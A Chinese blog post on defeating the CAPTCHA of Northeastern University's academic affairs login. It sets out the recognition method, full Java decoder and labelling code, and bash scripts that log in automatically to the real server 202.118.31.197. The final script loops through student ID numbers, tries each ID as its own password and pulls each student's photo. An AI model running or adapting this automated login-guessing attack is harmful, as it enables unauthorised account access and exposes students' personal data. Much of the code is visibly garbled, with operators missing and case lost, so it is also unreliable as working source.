东北大学教务处编的很烂,一点鼠标键,它就着急拉慌说:"不当的拷贝会损坏您的系统".东大教务处的验证码是最简单的那一种,形同虚设,很易破解.
一.东大教务处验证码特点概述
先上几张图片,.
字符集 a-za-z0-9共26 26 10=62个字符
字符位置 四种,如果四个字符一模一样,这四个字符之间的间距是固定的,即第一个与第二个,第二个与第三个,第三个与第四个之间的距离都是一样的.
字符形状 字符形状始终是一样的,不同位置的同一字符可以通过平移来生成.
上面这些规律可以通过大量获取验证码并加以分析找出.
二.获取验证码,这是分析的材料
既可以用httpclient也可以用原生的urlconnection,这个问题比较简单,用urlconnection就足以解决了.只需要不停地访问特定链接,每次访问都会新生成验证码,这是因为没有把session存储起来,只有session相同,访问这个链接才能保持不变.
public static void main(string[] args)
throws exception {for(
int x=0;x<10;x
){download(x);}}static void download(
int x)
throws exception {url url =
new ;urlconnection connection =
url.openconnection();bufferedimage bit =
imageio.read(connection.getinputstream());imageio.write(bit, "png",
new file("img\\" x ".png"
));} 千万要注意的是,imageio.write()的第二个参数不能加点,即不能写成".png",否则文件无法保存.而这个过程也不抛出异常.
三.验证码流程概述
服务器端有一个servlet,专门用来处理验证码问题,每次访问这个servlet,它都会做两件事:生成一个字符串作为验证码,把这个字符串存储到session中,然后根据验证码字符串生成一张图片应答客户端请求.当浏览器端提交用户名,密码,验证码表单时,服务器端根据验证码是否与session中的验证码一致来决定是否进行下一步判断(用户名密码是否匹配).
所以,需要把session存储起来,以同一session去访问一个同一个验证码.即,
第一步访问尊龙游戏旗舰厅官网主页面,获取html,并把session保存起来
第二步解析html页面,找到验证码图片链接,用上面保存的那个session去访问这个链接,得到正确的验证码图片
第三步根据图片求出一个字符串,也就是验证码的破解过程.
第四步模拟提交表单,登录教务处,表单中包括用户名,密码,验证码
第五步根据登陆之后的结果(返回的html页面),去访问页面内容
用jsoup来解析html是很好的.
四.给一张图片如何识别上面的字符
给一张图片,我们所知道的就是图片上的各个像素值,即argb(在这个问题中a值一直不变,只有rgb发生变化).根据相邻点的颜色差就可以判断两个点是不是属于同一个"国家".
颜色差可以有多种计算方法:
余弦定理:rgb就相当于一个三维空间,在这个三维空间中一个颜色就表示一个点.比如两个颜色对应的点为a,b.原点用o来表示,求oa和ob的夹角,夹角小说明两种颜色相近.
欧几里得距离:rgb就相当于一个三维空间,每个颜色对应一个点,两个颜色对应点为a,b.求线段ab的长度,此长度即为两个颜色的差异,ab长度越短说明两个颜色越相近.
汉密尔顿距离:rgb就相当于一个三维空间,每个颜色对应一个点,两个颜色对应点为a,b,线段ab的距离定义为|x2-x1| |y2-y1| |z2-z1|
从左到右,从上到下扫描图片的各个像素点,给每个点标一个国家id.从一个"有国点"可以向"无国点"沿上下左右四个方向进行扩散,如果颜色差不超过某个阈值,那么有国点就可以进行领土扩张,把无国点占领,把无国点的国家id标为自己的国家id.这样一来,整个图片就被分成了许多个国家.每个国家代表一个字符.
然而,图片上是有噪音的,阈值不同会影响国家的划分,阈值的两个极端是:国家太多(一个字符被分裂成了多个国家),国家太少(整张图片就是一个国家,像纯色图片一样).
我想要获得的是:每个字符在4种位置上所对应的"点集合",通过鼠标右键点击,来作为这个国家的开始点进行扩展,几乎形成了一个字符(像扫雷一样,我点击一个点,扩展出来一大片点).这样就形成了一个字符的主体.这个主体可能是不完整的,需要通过鼠标左键来点击个别点来完善这个字符的"点集合".鼠标双击清空点集合,鼠标滚轮滚动调整颜色阈值.通过这种可视化的操作就可以生成62个字符在4个位置对应的点集合.
经过观察,同一字符在4个位置上形状是一模一样的,只是位置不一样,验证码"aaaa",每个a之间的距离是一样的,为disa,"bbbb"每个b之间的距离是一样的,为disb.发现disa=disb.
这样一来,问题转化为建立一个"数据库",为62个字符各自定义一套描述形状的"点集合".并把每个字符在4个位置的最左,最上的点的坐标记录下来.有了形状,有了位置,就可以制作验证码了!这样就可以检验一下自己的数据库是否正确.
数据库格式如下:
字符 在第一个位置的最左最上点的坐标 字符相对于它最左最上点的相对坐标(以最左最上点为原点)
知道了第一个位置上的最左最上点,就可以推出在第二,第三个位置上的最左最上点坐标.
五.应用数据库
有了数据库,就有了一套"模板".对于一个包含四个字符的验证码图片,我把这四个字符逐一破解,而不是一下子全部破解.
对于位置一上的字符,有62中可能,我就把这62个字符挨个画在图片上,必然得到一个"点集合",也就是一个"颜色值集合",也就是一个"三维向量集合".求出"三维向量集合"的标准差来,如果标准差小,说明这个字符匹配得好;标准差大,说明这个字符匹配得差.
不一定是标准差,也可以是其他的数值来描述这个"三维向量集合"的特征.最终要的结果是:能够根据"三维向量集"映射到62个字符中的一个.
六.结果
对于有些字符,比如0(零)和o(欧),它们的字形是完全一样的,遇到包含这两者的验证码时是谁都可以,但是服务器可不这么认为.
对于i和i,对于i和l,它们具有包含关系,也就是说明明是l,会识别成i.因为l所在"点集合"包括i所在"点集合",后者标准差更小,这样就造成了误判.
解决方法一是调整"三维向量集"到"数值"的映射,不要使用标准差,而是使用其它函数;
解决方法二:对得到的62个标准差就行排名,不取标准差最小值作为结果,而是一旦形成这个排名,那就选择第几名.比如l字符通常排在第二名,i排在第一名.通过检测前五名,如果前五名满足某个序列,那就放弃"最小值原则",而采取"特殊处理".
解决方法三:如果标准差相差不大,谁的面积大就选谁.对于前几名,如果第n 1名的标准差<第n名的标准差的1.3倍,这就说明二者标准差相差不大,此时如果第n 1名面积大(点多),那么就选择第n 1名.然后再把n 1名跟n 2名做如此比较.直到找到最好的为止.
main.java:用来生成"字形字位数据库"
/* 验证码图片是60*20的矩形点阵,每个点用rgb三原色表示(argb中的a始终为0xff)* 验证码有62种字符0-9,a-z,a-z* 每一个字符都有一个形状:这是一个点集合* 每个字符都有固定的位置(有四种位置,每两个相邻位置之间的距离为13格)* 这个文件用来产生数据,格式为62行,每行开头一个字符,接着第一种位置x和y,* 剩下的内容都是点集合* * 这个程序的目的是可视化的产生上述数据,通过鼠标点击,来选定点集* 鼠标左键:选定单个点* 鼠标右键:选定一个点及其附近与之相似的点* ctrl 鼠标左键:清除单个点* 空格:清空全部点* ctrl s保存当前结果到文件* * 选定一个点及其附近与之相似的点:利用颜色相似度来决定是否两个相邻点为同一个国家的公民* 如果两个相邻点颜色相近,那就把他俩看成连通的* 求出整个大图的全部连通分量* * 一开始我还准备进行噪音处理,然而效果并不理想* */
class point {int x, y;point(int x,
int y) {this.x =
x;this.y =
y;}@overridepublic int hashcode() {return x ^
y;}@overridepublic boolean equals(object obj) {point p =
(point) obj;return p.x == x && p.y ==
y;}boolean less(point p) {if (x ==
p.x)return y <
p.y;elsereturn x <
p.x;}
}class country {arraylist a = new arraylist();country() {}country(arraylist a) {this.a = new arraylist();for (point p : a) {this.a.add(new point(p.x, p.y));}}
}class go {int[][] a;int[][] ans;int[][] id;arraylist countries = new arraylist();int w, h;int[] color;static int color_dis = 55;static int noise_lower_bound = 5, noise_upper_bound = 4;public go(int[][] a) {this.a = a;w = a.length;h = a[0].length;id = new int[w][h];expand();// delnoise();
initcolor(countries.size());getans();}void cout(string s) {system.out.println(s);}void getans() {ans = new int[w][h];for (int i = 0; i < countries.size(); i ) {country c = countries.get(i);for (int j = 0; j < c.a.size(); j ) {ans[c.a.get(j).x][c.a.get(j).y] = color[i];}}}void delnoise() {country zero = countries.get(0);for (int i = countries.size() - 1; i >= 0; i--) {country c = countries.get(i);if (c.a.size() < noise_lower_bound || radius(c) > noise_upper_bound) {zero.a.addall(c.a);countries.remove(i);}}}boolean hasradius(country c, int r) {for (int i = 0; i < c.a.size(); i ) {int m = c.a.get(i).x, n = c.a.get(i).y;boolean ok = true;out: for (int j = -r; j <= r; j ) {for (int k = -(r - math.abs(j)); k <= r - math.abs(j); k ) {int x = m j, y = n k;if (legal(x, y) && id[x][y] != id[m][n]) {ok = false;break out;}}}if (ok)return true;}return false;}int radius(country c) {int r = (int) math.sqrt(c.a.size()), l = 0;while (l < r) {int m = (l r) >> 1;if (hasradius(c, m))l = m 1;elser = m;}return r;}void expand() {countries.add(new country());for (int i = 0; i < w; i ) {for (int j = 0; j < h; j ) {if (id[i][j] == 0) {countries.add(new country());go(countries.get(countries.size() - 1), i, j, countries.size() - 1);}}}}void go(country country, int fx, int fy, int cnt) {int dir[] = { 0, 1, 0, -1, 1, 0, -1, 0, 1, 1, 1, -1, -1, -1, -1, 1 };id[fx][fy] = cnt;country.a.add(new point(fx, fy));for (int i = 0; i < dir.length; i = 2) {int x = fx dir[i], y = fy dir[i 1];if (legal(x, y) && id[x][y] == 0 && dis(a[fx][fy], a[x][y]) < color_dis) {go(country, x, y, cnt);}}}void initcolor(int cnt) {color = new int[cnt];double per = 255.0 / math.pow(cnt, 1.0 / 3);int ci = 0;for (int i = 0; i < 255; i = per) {for (int j = 0; j < 255; j = per) {for (int k = 0; k < 255; k = per) {color[ci ] = i | j << 8 | k << 16;if (ci == cnt)return;}}}}boolean legal(int x, int y) {return x >= 0 && y >= 0 && x < w && y < h;}int dis(int x, int y) {int ans = 0;for (int i = 0; i < 3; i ) {int d = math.abs((x & 255) - (y & 255));ans = d * d;x >>= 8;y >>= 8;}ans = (int) math.sqrt(ans);return ans;}
}class data {country[] xing = new country[128];point[][] wei = new point[128][4];void save() {printwriter cout = null;try {cout = new printwriter(new file("haha.txt"));} catch (filenotfoundexception e) {e.printstacktrace();}for (char c = '0'; c <= '9'; c ) {print(cout, c);}for (char c = 'a'; c <= 'z'; c ) {print(cout, c);}for (char c = 'a'; c <= 'z'; c ) {print(cout, c);}cout.close();}void print(printwriter cout, char c) {cout.println();cout.print(c);for (int i = 0; i < 4; i )if (wei[c][i] == null)continue;elsecout.print(" " wei[c][i].x " " wei[c][i].y);if (xing[c] == null)return;for (point p : xing[c].a)cout.print(" " p.x " " p.y);}string gets(char c) {string s = "" c;for (int i = 0; i < 4; i ) {if (wei[c][i] == null) {s = " (_,_)";} else {s = " (" wei[c][i].x "," wei[c][i].y ")";}}if (xing[c] != null) {s = "====== ";for (point p : xing[c].a) {s = "(" p.x "," p.y ")";}}return s "\n";}public string tostring() {string s = "";for (char c = '0'; c <= '9'; c ) {s = gets(c);}for (char c = 'a'; c <= 'z'; c ) {s = gets(c);}for (char c = 'a'; c <= 'z'; c ) {s = gets(c);}return s;}void sort(arraylist a) {for (int i = 0; i < a.size(); i ) {for (int j = 0; j < a.size(); j ) {if (a.get(i).less(a.get(j))) {point temp = a.get(i);a.set(i, a.get(j));a.set(j, temp);}}}}void uniq(arraylist a) {for (int i = a.size() - 1; i > 0; i--)if (a.get(i).equals(a.get(i - 1))) {a.remove(i);}}void update(arraylist a) {int x = a.get(0).x, y = a.get(0).y;for (point p : a) {p.x -= x;p.y -= y;}}void set(string s, country country) {if (country == null || country.a == null)return;scanner cin = new scanner(s);string c = cin.next();if (country.a.size() == 0) {system.out.println("country.a.size() cannot be zero !!!");}if (country.a.size() == 1) {int pos = cin.nextint() - 1;wei[c.charat(0)][pos] = country.a.get(0);} else {sort(country.a);uniq(country.a);update(country.a);xing[c.charat(0)] = country;}cin.close();}
}public class main extends jframe {public static void main(string[] args) {try {uimanager.setlookandfeel(uimanager.getsystemlookandfeelclassname());} catch (classnotfoundexception | instantiationexception | illegalaccessexception| unsupportedlookandfeelexception e) {e.printstacktrace();}new main();}file[] files = new file("img").listfiles();int fileindex = 0;jpanel protopanel = new jpanel(), nowpanel = new jpanel();jtextfield txt = new jtextfield();jtextarea area = new jtextarea(6, 0);container content;int proto[][], now[][];bufferedimage protoimage, nowimage;arraylist selectedpoints;data data = new data();go go;void initcontrol() {font f = new font("ubuntu mono", font.bold, 30);txt.setfont(f);area.setfont(f);area.seteditable(false);txt.addkeylistener(new keyadapter() {@overridepublic void keypressed(keyevent e) {if (e.getkeycode() == keyevent.vk_enter) {data.set(txt.gettext(), new country(selectedpoints));area.settext(data.tostring());txt.settext("");selectedpoints = null;protopanelpaint();}}});}main() {loadproto();loadnow();settitle("agnomen decoder");content = getcontentpane();content.setlayout(new borderlayout());jpanel pane = new jpanel(new gridlayout());pane.add(protopanel);pane.add(nowpanel);content.add(pane, borderlayout.center);jpanel editpane = new jpanel(new borderlayout());initcontrol();editpane.add(txt, borderlayout.north);editpane.add(new jscrollpane(area), borderlayout.center);content.add(editpane, borderlayout.north);setextendedstate(maximized_both);setdefaultcloseoperation(exit_on_close);setvisible(true);protopanel.addmouselistener(new mouseadapter() {@overridepublic void mouseentered(mouseevent e) {protopanel.grabfocus();}@overridepublic void mouseclicked(mouseevent e) {double w = (double) protopanel.getwidth() / proto.length,h = (double) protopanel.getheight() / proto[0].length;int x = (int) (e.getx() / w), y = (int) (e.gety() / h);int color = proto[x][y];int b = color & 255, g = (color >> 8) & 255, r = (color >> 16) & 255;settitle(x " " y " " r " " g " " b);if (e.getbutton() == mouseevent.button3) {selectedpoints = go.countries.get(go.id[x][y]).a;protopanelpaint();} else if (e.getbutton() == mouseevent.button1) {if (e.iscontroldown()) {if (selectedpoints == null)return;for (point p : selectedpoints) {if (p.x == x && p.y == y) {selectedpoints.remove(p);protopanelpaint();return;}}} else {if (selectedpoints == null)selectedpoints = new arraylist();selectedpoints.add(new point(x, y));protopanelpaint();}}}});nowpanel.addmousewheellistener(new mousewheellistener() {@overridepublic void mousewheelmoved(mousewheelevent e) {int x = e.getwheelrotation();go.color_dis = x;settitle(go.color_dis "");loadnow();nowpanelpaint();}});protopanel.addkeylistener(new keyadapter() {@overridepublic void keypressed(keyevent e) {if (e.getkeycode() == keyevent.vk_down) {fileindex = (fileindex 1) % files.length;selectedpoints = null;loadproto();loadnow();repaint();} else if (e.getkeycode() == keyevent.vk_up) {fileindex = (fileindex - 1 files.length) % files.length;selectedpoints = null;loadproto();loadnow();repaint();} else if (e.getkeycode() == keyevent.vk_s && e.iscontroldown()) {data.save();/** jframe dlg = new jframe();* //dlg.getcontentpane().setlayout(null); jtextarea area =* new jtextarea(); font f = new font("ubuntu mono",* font.bold, 30); area.setfont(f); scanner cin = null; try* { cin = new scanner(new file("data.txt")); } catch* (filenotfoundexception e1) { e1.printstacktrace(); }* string s = ""; while (cin.hasnext()) { s =* cin.nextline() "\n"; } area.settext(s);* dlg.getcontentpane().add(area);* dlg.setdefaultcloseoperation(jframe.dispose_on_close);* dlg.setsize(800, 800); dlg.setvisible(true);*/} else if (e.getkeycode() == keyevent.vk_space) {selectedpoints = null;protopanelpaint();}}});}@overridepublic void paint(graphics g) {protopanelpaint();nowpanelpaint();}void loadnow() {go = new go(proto);now = go.ans;nowimage = toimg(now);}void loadproto() {try {protoimage = imageio.read(files[fileindex]);proto = toarray(protoimage);} catch (ioexception e) {e.printstacktrace();}}int[][] copy(int[][] src) {int[][] a = new int[src.length][src[0].length];for (int i = 0; i < src.length; i ) {for (int j = 0; j < src[i].length; j ) {a[i][j] = src[i][j];}}return a;}void nowpanelpaint() {nowpanel.getgraphics().drawimage(nowimage, 0, 0, nowpanel.getwidth(), nowpanel.getheight(), null);}void protopanelpaint() {int[][] midarray = copy(proto);addcolor(midarray);bufferedimage midimg = toimg(midarray);protopanel.getgraphics().drawimage(midimg, 0, 0, protopanel.getwidth(), protopanel.getheight(), null);}void addcolor(int[][] a) {if (selectedpoints == null)return;for (point p : selectedpoints) {a[p.x][p.y] = 0xff0000;}}bufferedimage toimg(int[][] a) {bufferedimage pic = new bufferedimage(a.length, a[0].length, bufferedimage.type_int_rgb);for (int i = 0; i < pic.getwidth(); i ) {for (int j = 0; j < pic.getheight(); j ) {pic.setrgb(i, j, a[i][j]);}}return pic;}int[][] toarray(bufferedimage img) {int a[][] = new int[img.getwidth()][img.getheight()];for (int i = 0; i < img.getwidth(); i ) {for (int j = 0; j < img.getheight(); j ) {a[i][j] = img.getrgb(i, j);}}return a;}void cout(string s) {system.out.print(s);}
} testans.java:用来检验数据库是否正确
/* main.java用来生成数据* 本程序用来验证生成的数据是否正确* 其实就是从data.txt中把数据读出来,然后画一下* 用眼睛一看便知是否正确* * l和o在验证码中没出现过* 在txtfield中输入字符,按enter就可以在同一张图片上查看不同对比* */
class node {int x, y;arraylist a = new arraylist();
}public class testans extends jframe {public static void main(string[] args) {new testans();}node[] a = new node[128];char[] charset;int index = 0;int[][] nowarray = new int[60][20];jtextfield txt = new jtextfield();jpanel panel = new jpanel();void readfile() {scanner cin = null;try {cin = new scanner(new file("data.txt"));} catch (filenotfoundexception e) {e.printstacktrace();}while (cin.hasnextline()) {string s = cin.nextline();scanner sin = new scanner(s);char c = sin.next().charat(0);a[c] = new node();a[c].x = sin.nextint();a[c].y = sin.nextint();while (sin.hasnext()) {a[c].a.add(new point(sin.nextint(), sin.nextint()));}sin.close();}cin.close();}void initcharset() {string s = "";for (char c = '0'; c <= '9'; c )s = c;for (char c = 'a'; c <= 'z'; c )s = c;for (char c = 'a'; c <= 'z'; c )s = c;charset = s.tochararray();}public testans() {readfile();initcharset();initnowarray("0000"); container content = getcontentpane();content.setlayout(new borderlayout());content.add(txt, borderlayout.north);txt.addkeylistener(new keyadapter() {@overridepublic void keypressed(keyevent e) {if (e.getkeycode() == keyevent.vk_enter) {initnowarray(txt.gettext());repaint();}else if (e.getkeycode() == keyevent.vk_up) {index--;char c = charset[index];initnowarray(c "" c "" c "" c);repaint();} else if (e.getkeycode() == keyevent.vk_down) {index ;char c = charset[index];initnowarray(c "" c "" c "" c);repaint();}}});content.add(panel, borderlayout.center);setextendedstate(maximized_both);setdefaultcloseoperation(dispose_on_close);setvisible(true);}@overridepublic void paint(graphics ggg) {graphics g = panel.getgraphics();g.drawimage(toimg(nowarray), 0, 0, panel.getwidth(), panel.getheight(), null);}void initnowarray(string s) {settitle(s);for (int i = 0; i < nowarray.length; i ) {for (int j = 0; j < nowarray[0].length; j ) {nowarray[i][j] = 0;}}for (int i = 0; i < 4 && i < s.length(); i ) {char c = s.charat(i);for (point p : a[c].a) {nowarray[p.x a[c].x i * 13][a[c].y p.y] = 0xffffff;}}}bufferedimage toimg(int[][] a) {bufferedimage pic = new bufferedimage(a.length, a[0].length, bufferedimage.type_int_rgb);for (int i = 0; i < pic.getwidth(); i ) {for (int j = 0; j < pic.getheight(); j ) {pic.setrgb(i, j, a[i][j]);}}return pic;}
} decoder.java:应用数据库,破解验证码
/* 经过main.java生成数据,testans验证数据,本程序应用数据去破解图片* 从文件夹中读取全部的图片,在窗口的标题处显示破解结果* 在窗口主体处显示原始图片* * 如何应用那些数据呢?* for循环62个字符*4个位置,如果匹配成功了,那就该字符所覆盖的点集颜色方差非常小* 所以,只要找出方差最小的字符来就可以了* i和p,k,j等字符容易混淆,n和h容易混淆,因为后者包含前者.我的解决方法是一个判断,如果方差相差不多,那就取面积大者* o和0分不清,因为这两个字符一模一样* */
class color {double r, g, b;color add(color c) {return new color(r c.r, g c.g, b c.b);}color(double d, double e, double f) {this.r = d;this.g = e;this.b = f;}color(int x) {r = x & 255;g = (x >> 8) & 255;b = (x >> 16) & 255;}public color mul() {return new color(r * r, g * g, b * b);}public color sub(color m) {return new color(r - m.r, g - m.g, b - m.b);}public color div(int size) {return new color(r / size, g / size, b / size);}public double len() {return math.sqrt(r * r g * g b * b);}
}public class decoder extends jframe {public static void main(string[] args) {if (args.length == 0)new decoder();else if (args.length == 1)new decoder(args[0]);else {system.out.println("too much arguments");system.exit(-1);}}file[] files = new file("img").listfiles();int fileindex = 0;container content;node[] a = new node[128];char[] charset;int[][] proto;void readfile() {scanner cin = null;try {cin = new scanner(new file("data.txt"));} catch (filenotfoundexception e) {e.printstacktrace();}while (cin.hasnextline()) {string s = cin.nextline();scanner sin = new scanner(s);char c = sin.next().charat(0);a[c] = new node();a[c].x = sin.nextint();a[c].y = sin.nextint();while (sin.hasnext()) {a[c].a.add(new point(sin.nextint(), sin.nextint()));}sin.close();}cin.close();}void initcharset() {string s = "";for (char c = '0'; c <= '9'; c )s = c;for (char c = 'a'; c <= 'z'; c )s = c;for (char c = 'a'; c <= 'z'; c )s = c;charset = s.tochararray();}decoder(string path) {readfile();initcharset();bufferedimage img = null;try {img = imageio.read(files[fileindex]);} catch (ioexception e) {e.printstacktrace();}proto = toarray(img);system.out.println(go());}decoder() {readfile();initcharset();content = getcontentpane();setdefaultcloseoperation(exit_on_close);setextendedstate(maximized_both);setvisible(true);addkeylistener(new keyadapter() {@overridepublic void keypressed(keyevent e) {if (e.getkeycode() == keyevent.vk_down) {fileindex = (fileindex 1) % files.length;repaint();} else if (e.getkeycode() == keyevent.vk_up) {fileindex = (fileindex - 1 files.length) % files.length;repaint();}}});}@overridepublic void paint(graphics g) {try {bufferedimage img = imageio.read(files[fileindex]);proto = toarray(img);g.drawimage(img, 0, 0, content.getwidth(), content.getheight(), null);settitle(go());} catch (ioexception e) {e.printstacktrace();}}string go() {double sizeratio = 3.47;string ans = "";for (int i = 0; i < 4; i ) {char minc = 'l';double mindx = double.max_value;for (char c : charset) {arraylist s = a[c].a;color m = new color(0), n = new color(0);for (point p : s) {int x = p.x a[c].x i * 13, y = p.y a[c].y;m = m.add(new color(proto[x][y]));n = n.add(new color(proto[x][y]).mul());}n = n.div(s.size());m = m.div(s.size());double nowdx = n.sub(m.mul()).len();system.out.println(c " " nowdx);/** this condition is very important ! different condition can* generate different result !*/if (nowdx < mindx && !(mindx < nowdx * sizeratio && s.size() < a[minc].a.size())|| nowdx < mindx * sizeratio && s.size() > a[minc].a.size()) {// if (nowdx < 1500 && s.size() > a[minc].a.size()) {mindx = nowdx;minc = c;}}ans = minc;}return ans;}int[][] toarray(bufferedimage img) {int a[][] = new int[img.getwidth()][img.getheight()];for (int i = 0; i < img.getwidth(); i ) {for (int j = 0; j < img.getheight(); j ) {a[i][j] = img.getrgb(i, j);}}return a;}
} 为了像使用脚本一样使用java,我把.class文件生成到临时文件夹中,编译完之后立马执行.
#!/bin/bash
test -e $1 || { echo 'file does not exist !';exit 2; }
src=$1
shift
name="${src%.*}"
type="${src##*.}"
dir=`pwd`
dir="/tmp/${dir_}"
case $type injava)path="$dir/$name.class"compile="javac -d $dir $src"run="java -cp $dir $name $@";;cpp)path="$dir/$name.out"compile="g $1 -o $dir/$name.out"run="$dir/$name.out $@";;*)echo "unknown file type "exit 1
esac
if test ! -d "$dir" ;then #echo 'mkdir...compiling...'mkdir "$dir" && $compile && $run
elif test ! -f $path -o $path -ot $src ;then #echo 'compiling...' $compile && $run
else $run
fi 写一个脚本试试验证码破解的正确率,eog调用图片查看命令
#!/bin/bash
home="202.118.31.197"
url="http://$home/actionvalidaterandompicture.appprocess?id=0"
while true;dowget -o /dev/null -o 'agnomen' $url./ja decoder.java 'agnomen'eog 'agnomen'
done 使用curl命令进行请求服务器并调用java代码破解验证码,然后模拟登陆.
function cout(){echo -e "\033[31m$@\033[0m"
}
function translate(){ iconv -f "$1" -t utf-8 "$2" -o "$2"
}
usr='20124003'
usr="$1"
passwd='weidiao'
passwd="$2"
home="202.118.31.197"
url="http://$home"
find "$home" -type f -exec rm {} \;wget -o /dev/null --keep-session-cookies --save-cookies='cookie' -p $url
pic=` iconv -f gb2312 -t utf-8 $home/index.html | grep -o 'actionvalidaterandompicture.appprocess?id=[0-9,.]*'`
x=`./ja decoder.java "$home/$pic"`
data="webuserno=$usr&password=$passwd&agnomen=$x"
wget -o /dev/null -o "aao.html" --keep-session-cookies --load-cookies='cookie' --post-data=$data "$url/actionlogon.appprocess?mode="
translate "gb2312" "aao.html"
grep "frameset" "aao.html" || { cout "login failed"; exit 1; }
cout "login successful !"
#exit 0echo =======================
wget -o /dev/null --keep-session-cookies --load-cookies='cookie' -p "http://202.118.31.197/actionfindstudentinfo.appprocess"
stuinfo="$home/actionfindstudentinfo.appprocess?mode=1&showmsg="
translate "gbk" "$stuinfo"
cat "$stuinfo" 终于到了收获的季节,查看一下有多少人学号跟密码是一回事(没法破解密码,破解密码只能通过暴力方式),验证码是不用手动填的,我同学的学号都是递增的数字序列.
#!/bin/bash
i=20121234
while test $i -lt 20123990 ;doecho $i./haha.sh $i $i && eog "202.118.31.197/actiondspuserphoto.appprocess"i=$((i 1))
done
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